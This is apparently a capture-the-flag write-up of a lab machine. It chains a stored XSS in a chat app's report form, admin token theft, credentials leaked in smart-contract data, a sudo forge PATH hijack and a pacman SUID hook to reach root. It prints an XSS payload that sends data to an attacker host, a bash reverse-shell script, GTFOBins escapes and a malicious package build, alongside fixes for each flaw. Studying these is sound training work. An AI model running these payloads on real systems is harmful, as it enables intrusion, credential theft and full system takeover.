BlockBlock
Summary
I found a small decentralized-chat web app whose 'Report User' feature let any registered user inject JavaScript that ran in the administrator bot's browser. That script read the admin's session token from an internal API, which unlocked an admin-only JSON-RPC proxy to a local Ethereum node. Dumping the blockchain revealed the deployment transactions of a database smart contract whose constructor arguments contained a Linux account's password in plaintext.
SSH access with that password led to a sudo rule allowing the Foundry 'forge' build tool to run as a second user; because forge shells out to 'git' using the caller's PATH, a malicious git binary gave a shell as that user. That user could run pacman as root, so a custom package with a post-install hook set the SUID bit on bash, giving full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <admin_jwt>, <b64_from_above>, <captured_data_value>, <database_contract_creation_hash>, <low_priv_user>, <second_user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Find open ports (expect 22, 80, 8545).
$ nmap -p- --min-rate=1000 $TARGETFingerprint the services.
$ nmap -sCV -p22,80,8545 $TARGETFetch the DBLC home page and headers.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/Returns the current block number (12); further RPC reads are blocked without a token.
$ cast bn -r http://$TARGET:8545Exact commands 4
Listener to catch the exfil callback.
$ python3 -m http.server 8000Base64-encode the JS payload to survive HTML/attribute quoting.
$ echo "(async()=>{const r=await fetch('/api/info');const d=await r.json();fetch('http://$ATTACKER_IP:8000/?data='+btoa(JSON.stringify(d)));})();" | base64 -w0Paste into the Report User form while logged in as a normal user; the admin bot renders it.
$ Submit this as the reported username: <img src=1 onerror=eval(atob('<b64_from_above>'))>Decode the captured data= value to recover the admin JWT.
$ echo '<captured_data_value>' | base64 -dFixEncode all user-submitted content before rendering it to other users or admin toolingCritical
Exact commands 3
GET the endpoint to obtain the RPC proxy token.
$ curl -sSk -H 'Cookie: token=<admin_jwt>' http://$TARGET/api/json-rpcValidate the local proxy (listening on 80) that injects the RPC token header and admin cookie before forwarding to the node.
$ cast bl 0 -r http://127.0.0.1:80Walk all 12 blocks and dump every transaction.
$ rpc=http://127.0.0.1:80; for i in $(seq 0 11); do cast bl $i -r $rpc | grep -A2 'transactions:' | grep -Po '0x.+' >> txns; done; for h in $(cat txns); do cast tx $h -r $rpc > $h; doneFixRemove session-cookie-based authorization from the privileged JSON-RPC proxyHigh
Exact commands 1
Decode the constructor arguments of the Database contract's creation transaction to recover the embedded credential pair.
$ cast tx <database_contract_creation_hash> input -r http://127.0.0.1:80 | xxd -r -p | stringsFixNever store credentials in smart contract code or on-chain dataCritical
Exact commands 2
Authenticate with the password recovered from the chain dump (enter it at the password prompt rather than on the command line).
$ ssh <low_priv_user>@$TARGETProve access and read the user flag; replace the shown value with <user.txt> when reporting it.
$ id; hostname; cat /home/<low_priv_user>/user.txtExact commands 4
Enumerate sudo rights; reveals the NOPASSWD forge rule for the second account.
$ sudo -lPlant a fake 'git' that opens a reverse shell.
$ mkdir /tmp/dot && printf "#!/usr/bin/bash\nbash -i >& /dev/tcp/$ATTACKER_IP/1337 0>&1\n" > /tmp/dot/git && chmod +x /tmp/dot/gitRun from a directory with no .git so forge's submodule check doesn't short-circuit; forge invokes PATH 'git', running the hijacked script as the second user.
$ cd /tmp && PATH=/tmp/dot:$PATH sudo -u <second_user> /home/<second_user>/.foundry/bin/forge buildLocal listener to catch the reverse shell (run before the sudo command).
$ nc -nvlp 1337FixRemove the NOPASSWD sudo rule on forge and fix unqualified subprocess callsHigh
Exact commands 8
Confirm unrestricted NOPASSWD pacman.
$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/pacmanWorking directory for the malicious package build.
$ mkdir -p /tmp/pacman/root && cd /tmp/pacmanInstall hook that sets the SUID bit on bash when the package installs.
$ printf 'post_install(){ chmod +s /usr/bin/bash; }\n' > root.installMinimal PKGBUILD referencing the install hook; no real payload files needed.
$ cat > PKGBUILD <<'EOF'
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="x"
arch=('x86_64')
license=('GPL')
install=root.install
source=()
package(){ mkdir -p "$pkgdir/usr/bin"; }
EOFBuild the package as the unprivileged user; --skipinteg is required because source=() has nothing to checksum.
$ makepkg --skipintegInstall as root via the NOPASSWD rule; the post_install hook runs as root and sets the SUID bit.
$ sudo pacman -U --noconfirm privesc-1.0-1-x86_64.pkg.tar.zstLaunch bash with -p to preserve the elevated euid from the SUID bit (plain 'bash' drops it).
$ /usr/bin/bash -pProve root access and read the root flag; replace the shown value with <root.txt> when reporting it.
$ id; hostname; cat /root/root.txtFixRemove unrestricted NOPASSWD sudo on pacmanCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http recon-sweep-discovered |
| 8545/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.